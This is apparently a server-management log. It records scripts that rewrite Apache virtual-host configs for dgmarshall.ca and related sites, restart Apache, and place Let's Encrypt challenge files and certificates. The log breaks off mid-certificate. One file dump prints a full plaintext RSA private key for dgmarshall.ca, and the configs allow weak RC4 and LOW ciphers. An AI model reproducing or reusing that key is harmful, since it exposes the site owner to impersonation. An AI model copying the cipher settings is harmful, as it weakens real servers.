echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:02:07:
chmod 755 /tmp/pkp663380; /tmp/pkp663380; rm /tmp/pkp663380
2025-09-26 06:02:07:
dir=/etc/ssl/certs
2025-09-26 06:02:07:
PUT: /tmp/pkp690752
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/dgmarshall_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:02:07:
chmod 755 /tmp/pkp690752; /tmp/pkp690752; rm /tmp/pkp690752
2025-09-26 06:02:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 41
<VirtualHost *:80>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
2025-09-26 06:02:07:
PUT: /tmp/pkp687964
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf= 1'
fi
2025-09-26 06:02:07:
chmod 755 /tmp/pkp687964; /tmp/pkp687964; rm /tmp/pkp687964
2025-09-26 06:02:07:
2025-09-26 06:02:07:
PUT: /tmp/pkp746576
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:02:07:
chmod 755 /tmp/pkp746576; /tmp/pkp746576; rm /tmp/pkp746576
2025-09-26 06:02:07:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:02:07: Establishing a connection
2025-09-26 06:02:07:
PUT: /tmp/pkp266640
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:02:07:
chmod 755 /tmp/pkp266640; /tmp/pkp266640; rm /tmp/pkp266640
2025-09-26 06:02:07:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:02:07:
PUT: /tmp/pkp914904
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/dgmarshall_www_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:02:07:
chmod 755 /tmp/pkp914904; /tmp/pkp914904; rm /tmp/pkp914904
2025-09-26 06:02:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 1500
<VirtualHost *:80>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
2025-09-26 06:02:07:
PUT: /tmp/pkp434716
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:02:07:
chmod 755 /tmp/pkp434716; /tmp/pkp434716; rm /tmp/pkp434716
2025-09-26 06:02:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt 5369
41:e8:5a:a6:28:1c:9d:00:56:6d:57:09:de:0e:14:54
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBcxykVfTTFnH1Hn5VHL3DHKkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzM1WhcNMjUxMjI1MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
qW1FOTHFmqexBUQu1SRTByeiCIplxEyI0yQUW+PGg7k5ViLvHr/dGPPTXOmMfc2h
+Au/HfDG8T4VlgHqpy9Zse9RAPbYHxoR6FiBUxCpurNeQrgpmNEDxGTs1oCXl6E4
YXO9Yq7XMEutI6RIDB2revgWrp41VVex+vEH52xpGkw15+mQgNAwTQa7TTKyPDrs
6jYcFSOWvQH1HM+DIDrBg8Lak50Q0wfeAzOjBUUOAKtw4ZKVOK2sUFv6BMMMrtEJ
tOlFGcHOvu0MJ1rqWhlXXqdHusH72fJuzyGWsG1nnapJTQbTlOsVYIDU260Tk5+O
P5PUiIgy7Lawc2G+KVbqowIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBS2QLLFEXVkDk2JAsey0SLkZFYhFTAfBgNVHSMEGDAWgBQAtSnyLY5vMeib
TK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTIuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMzcuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHYApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
hJ1P8wAABAMARzBFAiEAllT7NeXQsAoKZsLt5arQuuJHCsui827ShNinJ/wUFJcC
IASuxSJDSLhPzqV63diceyO7f+r7bzuiAcV1zVjNhyr0AHcAzPsPaoVxCWX+lZtT
zumyfCLphVwNl422qX5UwP5MDbAAAAGZhJ1QBQAABAMASDBGAiEAxdGTBnD7gjQr
eW3C8LJjLncsorireD5NTLfGFTG2438CIQDOBdQO23HLdNmSted6eahKUkvMJSIQ
S27JgkGHpaZdADANBgkqhkiG9w0BAQsFAAOCAQEAZ10JxUGgvqXUfju6aELusMIL
Xpd5UGbi7P7nfsr5SshM2LZb+K0m/BkK88wYfxrIoVy73ppOP2dZIlZkb4YUAgz1
9WtZy8dkoqMlchmJv+phttYJpKS4+o5imwxINA0gu1zQnP8UCeNU1yqLfOs6D4/d
T/T4zWr9FnUPEz3V1l6eNu9ziQMGQofBBfYfIv11q7u03KRYWC2sp0GMuVP3jkNH
Q8v5WZU4nAyJncRCHnDxh2h9fKvHrNSk9E4rnCKbKI1WnIIPNq8pRE80IjXHmKxj
sgYfhODAHlsOVlkSIZPTWyactMznlb5EIuTuo3xflYmWXm4t4R5bVXcQTHQ2EA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpbUU5McWap7EF
RC7VJFMHJ6IIimXETIjTJBRb48aDuTlWIu8ev90Y89Nc6Yx9zaH4C78d8MbxPhWW
AeqnL1mx71EA9tgfGhHoWIFTEKm6s15CuCmY0QPEZOzWgJeXoThhc71irtcwS60j
pEgMHat6+BaunjVVV7H68QfnbGkaTDXn6ZCA0DBNBrtNMrI8OuzqNhwVI5a9AfUc
z4MgOsGDwtqTnRDTB94DM6MFRQ4Aq3DhkpU4raxQW/oEwwyu0Qm06UUZwc6+7Qwn
WupaGVdep0e6wfvZ8m7PIZawbWedqklNBtOU6xVggNTbrROTn44/k9SIiDLstrBz
Yb4pVuqjAgMBAAECggEAWdauMSC6NkKbND6uUqjbOd0DJ2Izij5HAyaLgRorhmdu
BsWpY/W6yGNp/Ud+Dqs+KmgYJEkrRHp2Ob+0bIhIGHjczBUYDo3lVv2vPZuFVJGN
9vTuYbDbPYWCrE8tkuKTIeGcV7p8Moi+Ozr+VSZaam8on9kWULWak4TBey5aIO3R
ZKXy0ZF51O3izzq+lwrSyIgBlCt2OBiNzUAm7oh43RdDf0rtowhLvW6wBFbp85US
07ReDhYnJJ1EJjc7TnqBCDrA74zeNAXa9nMAeYPSaECvnjgdWx1cQRksqm1c7wH/
UtnEiSE79FSl39tkvpx2HIrFh9xHjWoAknAbodVveQKBgQDWmafyw22shAdiBiWf
ilxCQMcpjU7D6VfiOfxcx6uj+FNuRFGy3G+pmTdaI2E6xM4PVwQSMVRnihsrxiGE
bfDL421LHWl6cwptTfNZo9ZnSrvX3inKrDsA5tWlw7VoIwyVF6WQnoJUMcfNmMou
rRNTk4FeKwWvJJMMTWQdDviEnwKBgQDKHKlE/UnqGSJqh4y9Ol0+Evwk3azVkgsj
Wh8TtAGXRnAW0K4NQuvetj4LOvYOOQGdYe2NI8we/+5s9sI6qYOMyo3F8fWeDXWd
mh4XJnvHoHIwgkI51S+If2+a4nbOs4vd4g34i4FjYrZju07EgHdJp+7SXuGlLWIL
aVbkGoA3fQKBgHgqzqrX2CAURnYTbxnpRkQrNdsEr6hwj6+0PKZPgMNumHlUdFMt
sLFNhHtK+HUKI0Dfvv3Y9aSM5y4Z4kbfsUjabybyr0/L/3i5f50gazyn0ovMcaZ1
zwxwNg5+iqRni/IoraNPvzcaMQHlnsGIVRwlqvlqKeKrHlRzOa4z5eGNAoGANkMJ
ou8JuCL1XXp065zOycqZDWDCdThXay9X5pdOUgnkMAvonsDXyJxO/f7fbqQZbeKL
v3fb5nq5zWFWdh9qpRMAiyNR2RQt/pkQ+RAo7UiDP8jI9PPqZhAoq4GfehE0PObi
71as7zziUNZJ6HHBFPJUKQC2Pf14NC4c2PLQd5UCgYB2EKXHzgZEy5EzKqGV7nw+
CVXwEijdpI/M43jvlOCCdyDbq0TU/EFMAda5szFtI9qMp0i1YlpTXqnQjv0SH4aL
vVBGh2kSb5IcHLzcwBYJX8rvF+w/TWJ+G97NzqoPUi+rfT8wqSEoY5LpSQMUv4lZ
LU86Q3E/YbZflxoPI3Xjpw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-26 06:02:08: Establishing a connection
2025-09-26 06:02:08: Establishing a connection
2025-09-26 06:02:08:
PUT: /tmp/pkp883588
#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:02:08:
chmod 755 /tmp/pkp883588; /tmp/pkp883588; rm /tmp/pkp883588
2025-09-26 06:02:08:
1
2025-09-26 06:02:09: Establishing a connection
2025-09-26 06:02:09:
PUT: /tmp/pkp568229
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
2025-09-26 06:02:09:
chmod 755 /tmp/pkp568229; /tmp/pkp568229; rm /tmp/pkp568229
2025-09-26 06:02:09:
2025-09-26 06:02:10: Establishing a connection
2025-09-26 06:02:10: Establishing a connection
2025-09-26 06:02:10:
PUT: /tmp/pkp380053
#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:02:10:
chmod 755 /tmp/pkp380053; /tmp/pkp380053; rm /tmp/pkp380053
2025-09-26 06:02:10:
1
2025-09-26 06:02:10: Establishing a connection
2025-09-26 06:02:11:
PUT: /tmp/pkp881368
#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
2025-09-26 06:02:11:
chmod 755 /tmp/pkp881368; /tmp/pkp881368; rm /tmp/pkp881368
2025-09-26 06:02:11:
2025-09-26 06:02:11: Establishing a connection
2025-09-26 06:02:11: Establishing a connection
2025-09-26 06:02:11:
PUT: /tmp/pkp431564
#!/bin/bash
if [ -d "/var/www/sosretreatscanada_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:02:11:
chmod 755 /tmp/pkp431564; /tmp/pkp431564; rm /tmp/pkp431564
2025-09-26 06:02:11:
1
2025-09-26 06:02:12: Establishing a connection
2025-09-26 06:02:12:
PUT: /tmp/pkp277168
#!/bin/bash
mkdir -p "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
cd "/var/www/sosretreatscanada_www/.well-known/acme-challenge/"
2025-09-26 06:02:12:
chmod 755 /tmp/pkp277168; /tmp/pkp277168; rm /tmp/pkp277168
2025-09-26 06:02:12:
2025-09-27 06:00:02: Establishing a connection
2025-09-27 06:00:03: Establishing a connection
2025-09-27 06:00:03:
PUT: /tmp/pkp749740
#!/bin/bash
if [ -d "/var/www/hostz_aries/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-27 06:00:05:
chmod 755 /tmp/pkp749740; /tmp/pkp749740; rm /tmp/pkp749740
2025-09-27 06:00:05:
1
2025-09-27 06:00:06: Establishing a connection
2025-09-27 06:00:06:
PUT: /tmp/pkp947635
#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
cat > 4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA
2025-09-27 06:00:06:
chmod 755 /tmp/pkp947635; /tmp/pkp947635; rm /tmp/pkp947635
2025-09-27 06:00:06:
2025-09-27 06:00:16: Establishing a connection
2025-09-27 06:00:16:
PUT: /tmp/pkp609933
#!/bin/bash
mkdir -p "/var/www/hostz_aries/.well-known/acme-challenge/"
cd "/var/www/hostz_aries/.well-known/acme-challenge/"
rm 4bMfVaLE2HngXrvOnpjJz5LMHsiyndLGEBA6cNnF8sA
2025-09-27 06:00:16:
chmod 755 /tmp/pkp609933; /tmp/pkp609933; rm /tmp/pkp609933
2025-09-27 06:00:16:
2025-09-27 06:00:16: Establishing a connection
2025-09-27 06:00:16:
PUT: /tmp/pkp875453
#!/bin/bash
temp_file=$(mktemp)
TARGET=13385323b2ba6119b083bb652d070eb4.crt
cat > $temp_file <<'endmsg'
e2:4f:b0:75:e3:47:c0:0e:96:1b:93:2c:32:73:f2:c6
-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBXQH+CCrO9MfvRmAccrlBapgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTQ1WhcNMjUxMjI2MDUwMTQ0WjAaMRgwFgYDVQQD
